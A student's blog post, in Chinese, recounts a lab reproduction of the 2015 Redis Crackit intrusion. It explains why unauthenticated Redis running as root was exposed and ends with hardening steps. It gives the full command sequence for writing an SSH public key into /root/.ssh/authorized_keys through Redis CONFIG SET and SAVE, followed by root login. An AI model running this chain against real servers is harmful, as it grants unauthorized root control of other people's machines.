Redis_Crackit入侵事件实验

文章目录

    • 闲扯
    • 事件简介
    • 漏洞原理
    • 实验开始
    • 加固建议

闲扯

学期末了,实验真滴多啊,一门课的一种实验就38个,还要写实验报告。明明可以很快做完,但是有时候遇到自己感兴趣的实验,又想了解透彻一点,开心又苦恼。我在实验的基础上,了解了一下linux下的类似操作。

事件简介

2015年发现国内互联网产生了大量针对Redis数据库服务器的扫描流量,其中有不少Redis服务器的数据库被清空,且/root/.ssh/authorized_keys文件被创建或改写,入侵者可以获取受影响服务器的完全控制权限。

因为受影响的Redis服务器的数据库被清空,但留存有一条键名为crackit的记录,因此这次事件被命名为Redis Crackit入侵事件。

漏洞原理

1.redis默认绑定到服务器的所有IP地址上,即表示只要能访问服务器就有权利连接redis
2.redis的未授权访问:不用密码或使用默认密码foobared即可登录
3.redis使用root权限运行
4.redis默认可以使用config命令,该命令可以修改数据库硬盘备份文件所在的路径和名字;
5.ssh允许公私钥登录(原因之一,但是不算漏洞)

实验开始

windows下生成秘钥对:
Redis_Crackit入侵事件实验_第1张图片
点击“生成密钥对”后开始生成。在生成过程中,需要将鼠标在进度条下方的空白处不断移动,以便产生随机数据。
Redis_Crackit入侵事件实验_第2张图片
生成成功:
Redis_Crackit入侵事件实验_第3张图片

kali下生成:
Redis_Crackit入侵事件实验_第4张图片

之后的操作差不多:

windows下,我们把公钥保存在key.txt中,在其前后添加一些空行避免和其他数据混在一行中:(然后在Notepad++中依次选择“编辑”、“档案格式转换”、“转换为 UNIX 格式”,以保证文件中的换行符是\n而不是\r\n。因为之后要把它传进对方服务器的,而redis一般都是在linux下。如果使用kali生成的就不用转)
Redis_Crackit入侵事件实验_第5张图片
命令行切换到key.txt目录下(linux下同)

cd "C:\Program Files\redis"

Redis_Crackit入侵事件实验_第6张图片

在主机10.1.1.101上的redis数据库中插入一条记录,对应的键名为crackit(键名可改),键值为key.txt中的内容;(要下载windows版redis)

type key.txt | redis-cli.exe -h 10.1.1.101 -x set crackit

linux下是 cat key.txt | redis-cli -h 10.1.1.101 -x set crackit
Redis_Crackit入侵事件实验_第7张图片
连接redis数据库:(linux下就是少了.exe

redis-cli.exe -h 10.1.1.101

Redis_Crackit入侵事件实验_第8张图片
将Redis数据库硬盘备份文件的存放目录修改为/root/.ssh/,是为了将我们的公钥保存到这个目录下 (下面的配置linux下也是一样的)

config set dir /root/.ssh/

Redis_Crackit入侵事件实验_第9张图片
将Redis数据硬盘库备份文件的名字修改为authorized_keys

config set dbfilename authorized_keys

在这里插入图片描述
保存数据到authorized_keys

save

在这里插入图片描述
windows下使用PuTTY远程登录:
IP地址填写为10.1.1.101,端口号填写为22
Redis_Crackit入侵事件实验_第10张图片

在Data里填写默认登录名为root:
Redis_Crackit入侵事件实验_第11张图片

在SSH下的Auth里面,选择私钥:
Redis_Crackit入侵事件实验_第12张图片

点击Open登录:
Redis_Crackit入侵事件实验_第13张图片

linux下就是直接连接:

ssh [email protected]

加固建议

1.修改bind参数,将服务器绑定到127.0.0.1上;
2.修改port参数,监听端口改成其他端口号;
3.修改requirepass参数,设置一个复杂的密码;
4.通过rename-command修改config命令的名字,如修改为空字符串""表示禁用config命令;
5.不要以root用户启动redis-server进程。

你可能感兴趣的:(漏洞分析复现)